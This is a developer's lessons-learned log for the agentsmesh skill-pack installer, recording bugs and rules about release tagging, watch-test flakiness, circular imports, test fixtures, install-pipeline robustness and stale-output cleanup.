- **`changeset publish` already creates `v<version>` tag locally for single-package repos**: The v0.15.0 release published successfully to npm, then `git tag "v$VERSION"` in the `Push version tag` step failed with `fatal: tag 'v0.15.0' already exists`. Root cause: `changeset publish` (run via `pnpm release` inside `changesets/action`) auto-tags the published version locally for single-package repos as `v<version>` — even when the `.changeset/config.json` has `commit: false` (the `commit` flag controls the *changeset commit*, not the publish-time tag). The action does not push that tag, so the manual workflow step is still needed for getting the tag onto origin, but it must not try to re-create it. Rule: the post-publish tag step must be idempotent — `git rev-parse --verify --quiet "$TAG" >/dev/null || git tag "$TAG"` to skip creation when the tag exists locally, then `git push origin "$TAG"` (no-op when origin already matches). The same shape applies to any tag-and-push step that follows a tool which may have already tagged.

- **Per-target skill-import dispatch loops belong behind one orchestrator, not copy-pasted**: Cline / Windsurf / Codex CLI each had their own `readdir → readFileSafe(SKILL.md) → try recognizer(s) → fall back to importDirectorySkill` loop. Codex additionally tried a fallback skills dir and ran two recognizers (command + projected-agent); Cline missed the stale-skill-dir cleanup that Windsurf and Codex did. Identical-shape logic in three places kept causing the same kind of bug (lessons L132). Root cause: the shared pipeline only owned the per-file primitives (`importDirectorySkill`, `findDirectorySkills`), not the dispatch shape. Rule: when ≥2 targets implement the same iterate-and-recognize loop, extract it as `importSkillsDirectory(options, recognizers[])` with factory recognizers (`projectedAgentRecognizer`, `commandSkillRecognizer`) that own their own destination write + stale cleanup. Per-target adapters then collapse to a config object plus a recognizer list — new targets can't drift on cleanup order or recognizer ordering.

- **Watch tests must synchronize on a per-cycle callback, not on `infoSpy.toHaveBeenCalledWith('Regenerated.')`**: The `logs Regenerated when fingerprint unchanged` test was tautological — `runWatch()` runs the initial generate inside the function before returning, which already calls `logger.info('Regenerated.')` since `lastFingerprint === null` makes `featuresChanged === false`. The subsequent `vi.waitFor(() => infoSpy.toHaveBeenCalledWith('Regenerated.'))` always saw the startup call and never verified the body-only edit actually triggered a second cycle. Sibling tests like `runMatrix when features change` scraped log/spy state too, racing chokidar's debounce. Root cause: tests used externally-observable side-effects (log lines, spy counts) as the cycle signal, which can fire before/after the cycle they care about. Rule: when a watch test needs to wait for "the next regen cycle", thread an `onCycle({ featuresChanged })` callback into `runWatch` and assert on `cycles.length`/`cycles[i].featuresChanged`. The first cycle is the startup generate; subsequent cycles correspond 1:1 to debounced file events. Keep a `scripts/flake-check-watch.ts` (N=10 under `COVERAGE=1`) and `pnpm flake:watch` wired in `package.json` to validate stability whenever the watch loop changes.

- **Skill-pack integration fixtures with broken links must keep the linking entity OUT of the project's enabled features**: A P9 integration test for the broken-link `leave-with-warnings` path crashed at the post-install `runGenerate` step because the generated `.claude/skills/<x>/SKILL.md` retained `../references/foo.md` and the markdown-link validator (`validateGeneratedMarkdownLinks` in `src/core/reference/`) crashed when neither `.claude/skills/references/foo.md` nor `references/foo.md` existed at the project root. Root cause: leave-with-warnings keeps the broken link verbatim in the pack body, and the install pipeline always calls `runGenerate()` at the end, so the same broken link reaches the target tree and fails strict link validation. Rule: when writing skill-pack integration tests that exercise the broken-link path, narrow the project's `features:` in `agentsmesh.yaml` so the linking entity is NOT generated (e.g. `features: [rules]` when the broken link sits in a skill). The pack on disk still receives the entity with the unchanged link — assert pack body + manifest there, not generated target files. Cross-protocol identity assertions (https/ssh/`github:` shorthand) require network and belong in unit tests on `findExistingInstallName`, not integration.

- **Post-install / post-uninstall `runGenerate()` must be best-effort**: V14 manual e2e against `addyosmani/agent-skills` discovered that the install pipeline's terminal `runGenerate()` call propagates a throw from `validateGeneratedMarkdownLinks` (in `src/core/reference/`) up through `executeRunInstallPoolsAndWrite` and aborts the install with exit 1 — even though `materializePack` + `upsertInstallManifestEntry` already committed the pack to disk and `installs.yaml`. Real-world skill packs (notably this one) carry agent bodies with `README.md` relative links that classify as `resolvable-outside`; the broken-link prompt's `--force` default `[l]eave-with-warnings` keeps the link strings verbatim, and `apply-decisions.ts` only rewrites skills, never agents (single `.md` files have no per-entity directory for `supportingFiles`). The validator then fires on every target-tree agent file and crashes generate before any file is written. Root cause: the original pipeline treated `runGenerate()` as part of the install transaction, so a validator throw rolled it back even though the install half-committed. Rule: wrap the terminal `runGenerate()` of both `runInstall` and `runUninstall` in try/catch (extracted as `runPostOperationGenerate('install' | 'uninstall', scope, rootBase)` in `src/install/run/post-install-generate.ts`) and downgrade failures to a `logger.warn(...)` that names the failure mode and tells the user "<action> is committed; run agentsmesh generate after resolving the issue." The pack + yaml writes are the user's actual intent and must survive any downstream generate brittleness. Same rule applies to any future best-effort post-operation step (e.g., post-install `agentsmesh lint`) — package-level pipeline transactions must not include strict downstream validators in their failure envelope. Integration coverage: `tests/integration/install-broken-link.integration.test.ts > "post-install generate failure does not roll back the install (exit 0)"`.

- **Dump cross-target data before writing parameterized tests over descriptor lists**: While refactoring `detectNativeFormat()` from a hardcoded `TARGET_SIGNATURES` array to descriptor-driven iteration, the first cut of the parameterized test was "every descriptor detects from its `detectionPaths[0]`." A quick `BUILTIN_TARGETS.flatMap(...)` dump revealed `AGENTS.md` is shared by 7 descriptors (amp, codex-cli, factory-droid, jules, pi-agent, rovodev, warp) and `.mcp.json` by 2 (deepagents-cli, warp). The naive test would have passed for some targets and failed inscrutably for others depending on alphabetic tie-break; worse, it would have hard-coded an arbitrary winner for ambiguous markers into the test suite. The right rule turned out to be "return null when no unique marker is present" — but that rule is only obvious once you can see the data. Root cause: assuming uniformity across a descriptor-driven enumeration without first inspecting which values are shared vs. unique. Rule: before writing any parameterized test, scoring rule, or tie-break over a descriptor-derived list (`BUILTIN_TARGETS`, `RULES`, capability sets), run a one-shot `tsx scripts/<dump>.mts` that materializes the values and counts collisions. Use the result to (a) pick test inputs that are actually unique per case, (b) document targets without unique markers explicitly, and (c) design the algorithm to handle ambiguity rather than guess. Same rule applies to any centralization where the data lives in N descriptors and the consumer was previously hand-curated.

- **Moving data INTO descriptors can create a circular-import trap via existing path-callback consumers**: While migrating `DEFAULT_COMMANDS_TO_SKILLS` / `DEFAULT_AGENTS_TO_SKILLS` records from `src/config/core/conversions.ts` to per-descriptor `conversionDefaults`, the refactor passed in isolation but `descriptor-paths.test.ts` crashed in the pre-commit hook with `Cannot read properties of undefined (reading 'id')` inside `registry.ts:12` (`BUILTIN_TARGETS.map((d) => [d.id, d])`). Root cause: a circular import: descriptor (cline/codex/gemini/windsurf) → `conversions.ts` (now imports `getDescriptor`) → `registry.ts` → `BUILTIN_TARGETS` → those same descriptor modules. ESM resolves the cycle via TDZ holes (undefined slots in BUILTIN_TARGETS during the first descriptor's module init). `registry.ts` lazily caches the descriptor map on first `getDescriptor()` call — when the descriptor's own `path.commandPath()` callback (called by `shouldConvert*` during cycle resolution) triggers that first call, the cache freezes the TDZ undefined slots forever. Rule: any registry that lazily caches a descriptor lookup must (a) detect TDZ holes (`BUILTIN_TARGETS.filter(d => d !== undefined)`) and (b) skip caching until every slot is populated — the next call (post-cycle-resolution) gets a complete map. The same pattern applies to any future centralized lookup over BUILTIN_TARGETS where one descriptor's own code path can trigger the lookup during its own module load. Don't assume "lazy = safe from cycles" — lazy caches that capture mid-init state are worse than no cache.

- **Mock `ValidatedConfig` fixtures must include every schema field a command reads, not only what the test under test exercises**: After wiring `bootstrapPlugins(config, projectRoot)` into `runInstallLocked`, `tests/unit/install/run-install.test.ts` started failing with `TypeError: Cannot read properties of undefined (reading 'length')` inside `bootstrapPlugins` at `config.plugins.length`. The mocked `CONFIG` object that `mockLoadScopedConfig.mockResolvedValue` returns was missing `plugins: []`, even though the real `ValidatedConfig` schema always populates `plugins` (default `[]`). The real `loadScopedConfig` would never return a config without `plugins`, but tests bypass the schema by returning a hand-shaped object. Root cause: every install command boundary helper accessed only the fields the test cared about (`version`, `targets`, `features`, `extends`, `overrides`, `collaboration`) and the partial config silently satisfied TypeScript via the cast pattern. Adding a new dependency (`bootstrapPlugins`) that reads an additional field surfaced the gap. Rule: when a command-orchestration test mocks `loadScopedConfig`, the mocked config must include all fields the schema defaults populate (`plugins: []`, etc.) so adding a new step in the orchestration cannot crash on `undefined`. When introducing a new orchestration step that reads `config.X`, grep tests for `mockLoadScopedConfig.mockResolvedValue` and add the field to every fixture before rerunning the full suite.

- **Watch tests must use chokidar polling, not native FSEvents/inotify**: Watch tests intermittently hung in the pre-commit hook for 10+ minutes even after the per-cycle callback fix from L240. Symptom: `runWatch` initial cycle completed, the test wrote a new file under `<tempdir>/.agentsmesh/rules/new-N.md`, but the second cycle never fired — `vi.waitFor(() => cycles.length >= 2)` timed out at 120s and the per-test retry interval (writing more files every 1s) also did nothing. The flake survived the `onCycle` callback fix because the problem was below chokidar, in the kernel event layer. Root cause: macOS FSEvents (and Linux inotify under high load) drops events for files created in subdirectories that were freshly added to the watch tree. Every watch test sets up `mkdir tempdir → start chokidar → write file into tempdir/.agentsmesh/rules/`, and the parallel test scheduler floods the FSEvents queue until the watcher misses the rules-dir creation entirely. Production `runWatch` already forced polling on Windows for the same reason (ReadDirectoryChangesW on AppData tmp paths); the test harness inherited native FSEvents on macOS/Linux because production wanted low-latency interactive use. Rule: any test that creates a watch then writes into a just-created subdirectory must force chokidar's polling backend (`usePolling: true, interval: 50`) rather than rely on native fs.watch. Wrap `runWatch` in `tests/harness/watch.ts` and always pass polling — keep production native for real interactive use. Once polling is deterministic, the test timeouts collapse from 120s to 15s and `flake:watch` runs ~10x faster. Never trust kernel event delivery in parallel test environments.

- **Lenient frontmatter parsing must extend to skill-name extraction, not only main entity parsers**: A 10-repo install pipeline test surfaced `readSkillFrontmatterName()` crashing on real-world `SKILL.md` files whose frontmatter contained em-dashes in `description` or bare `[placeholder]` flow sequences in `argument-hint`. Root cause: the lenient-parsing lesson was applied to `parseCommands/parseRules/parseAgents/parseSkills` but not to the skill-pack name-detection helper. Rule: every frontmatter call site on the install path — including auxiliary helpers like name extraction or skill-frontmatter lookup — must use `tryParseFrontmatter()`/`parseFrontmatterForPath(..., onError)` and degrade gracefully (empty name / skip) rather than throw.

- **Nested `runInstall` for picker auto-pick must skip lock re-acquisition**: After auto-picking a single flat collection (e.g. `rules/*.mdc` from PatrickJS/awesome-cursorrules) the picker recursed into `runInstall` with the original `replay: undefined`, so the inner call hit `acquireInstallLock()` and deadlocked against the lock its own outer call was holding. The marketplace recursion already passed `{}` as the 4th arg specifically to skip the inner lock, but the single-pack auto-pick branch was missed. Rule: any `runInstallLocked` branch that recurses into `runInstall` while still holding the install lock must pass a non-undefined `replay` arg (use `replay ?? {}`) so the nested call's `if (replay === undefined)` guard skips re-acquisition. Test by running a non-marketplace auto-pick (single flat collection) against a fresh project dir.

- **Singleton marketplaces from `.claude-plugin/marketplace.json` must route through the picker's marketplace branch**: The picker required `subPacks.length >= 2` to enter the marketplace path, which made sense when sub-packs were only ever derived from directory-heuristic detection (which also enforced `>= 2`). Adding `marketplace.json` parsing surfaced singleton plugin lists (e.g. SimoneAvogadro/android-reverse-engineering-skill ships exactly 1 plugin), and those fell through to `runSinglePackInstall` which ran discovery against the marketplace root (empty) and errored "No supported resources". Rule: when adding a new sub-pack source that can legitimately yield 1 entry, the picker's `subPacks.length` threshold must drop to `>= 1`; the heuristic detector's own `>= 2` floor still prevents false positives from random directory layouts.

- **Synthetic root-rule canonical entries need a non-empty description to survive dry-run validation**: Adding `.cursorrules` / `.windsurfrules` root-file detection initially produced a `CanonicalRule` with `description: ''`, which passed unit tests but failed end-to-end `install --dry-run` because `resolveRulePool()` re-filters by `validateRule` when `dryRun=true`, dropping any rule with an empty description even with `--force`. Rule: any synthetic canonical entity created from a non-frontmattered source file (legacy rule files, marketplace stubs, etc.) must carry a descriptive `description` string (e.g. `Imported from .cursorrules`) so it passes the dry-run-only re-validation pass in `pool-resolution.ts`.

- **Boilerplate filter must distinguish "noise to drop" from "preserved supporting content"**: A blanket `isBoilerplate()` filter in `listSupportingFiles` and `cpFilteredSkill` was stripping LICENSE/NOTICE/COPYING (legal attribution required by MIT/Apache/BSD/GPL) and README (skill-specific context useful to the consumer) from every installed skill pack. Functionally consistent, but lost both legal compliance and explanatory documentation. Root cause: the filter lumped attribution + skill-context docs in with community-health noise (CHANGELOG/CONTRIBUTING/CODE_OF_CONDUCT/SECURITY/...). Rule: when filtering "boilerplate" files in any path that materializes content into the user's project, split by intent into a single typed map (`stem → 'noise' | 'preserved'`) with three derived predicates — `isBoilerplate` (any, used by entity importers + flat-collection classifier to prevent README/LICENSE from becoming phantom entities), `isNoiseBoilerplate` (drop in staging + skill supporting-files), `isPreservedBoilerplate` (keep in skill subtrees). Adding a new file = one map entry, not three predicate edits. Both `listSupportingFiles` (canonical/features/skills.ts) AND `cpFilteredSkill` (install/source/skill-repo-filter.ts) must use the noise-only predicate at content-staging time — they're separate code paths and easy to miss.

- **Upstream source-root README/LICENSE must travel into the pack root for legal attribution + consumer context**: After L270's split, README/LICENSE survived inside skill subtrees but were silently dropped at the pack root when installing third-party content (e.g. addyosmani/agent-skills). Re-install of that pack also surfaced a separate failure: `validateGeneratedMarkdownLinks`'s `canonicalKeyFromOutputPath` didn't recognize copilot's `.agent.md` / `.instructions.md` / `.prompt.md` double-extensions or factory-droid's `.factory/droids/` dir, so broken `[README.md](README.md)` links in pack-originated outputs hard-errored on those targets instead of downgrading to advisory warnings, aborting the post-install generate. Root causes are independent but co-occur on real-world packs: (1) pack writer/merger had no path for upstream-root preserved files, and (2) the link validator's key-mapping table was incomplete for target-specific naming. Rule: any new install pipeline must (a) plumb the upstream `contentRoot` end-to-end (`runSinglePackInstall → executeRunInstallPoolsAndWrite → installAsPack → materializePack/mergeIntoPack`) so a single `collectPreservedRootFiles(contentRoot)` helper can harvest top-level `README*` / `LICENSE*` / `NOTICE*` / `COPYING*` / `COPYRIGHT*` (driven by `isPreservedBoilerplate`) into the pack root before `hashPackContent` runs — that way preserved files participate in `content_hash` + the per-file install manifest and uninstall removes them automatically; and (b) `OUTPUT_DIR_TO_FEATURE` and `stripMarkdownExt` in `src/core/reference/validate-generated-markdown-links.ts` must enumerate every target-specific dir name (`droids`, `instructions`, `prompts`, `steering`, …) and every double-extension (`.agent.md`, `.instructions.md`, `.prompt.md`) so `canonicalKeyFromOutputPath` produces the same canonical key as the source entity. Both are single-source-of-truth tables — adding a new target means one row each, not scattered branch logic. Per-target output flat-collection emission of preserved files is intentionally out of scope (would touch every descriptor for cosmetic gain): broken links inside pack-originated outputs are advisory by design.

- **Every directory written by a target's generators must be enumerated in `TargetLayout.managedOutputs`, especially conversion-output dirs**: `cleanupStaleGeneratedOutputs` (`src/core/generate/stale-cleanup.ts`) is the only mechanism that reconciles post-uninstall target state — it scans the dirs/files declared by each active target's `managedOutputs` and removes anything not in this run's `expectedPaths`. Antigravity's `project` layout shipped without any `managedOutputs`, so commands projected to `.agents/workflows/<name>.md` and agents projected to `.agents/skills/am-agent-<name>/SKILL.md` lingered forever after the originating pack was uninstalled — the only target out of 30 with the gap, because its conversions (commands→workflows + agents→skills) are unconditional, not gated on `shouldConvert*ToSkills`. Audit script: `awk '/^const project: TargetLayout/,/^};/' src/targets/*/index.ts | grep -c managedOutputs:` — every descriptor must return `1`. Rule: when adding a descriptor with **any** entity-type conversion (commands→skills, commands→workflows, agents→skills) or a non-default output dir, `project.managedOutputs.dirs` MUST include every conversion output dir AND the canonical feature dirs; `files` MUST include the root instruction file. The same applies to `globalSupport.layout.managedOutputs` for global-scope conversions. A failing-uninstall integration test (`tests/integration/uninstall-conversion-cleanup.integration.test.ts`) that installs a pack with one command + one agent then asserts both projected outputs are gone after uninstall is the cheapest regression guard — copy it per target whenever a new conversion enters the descriptor.
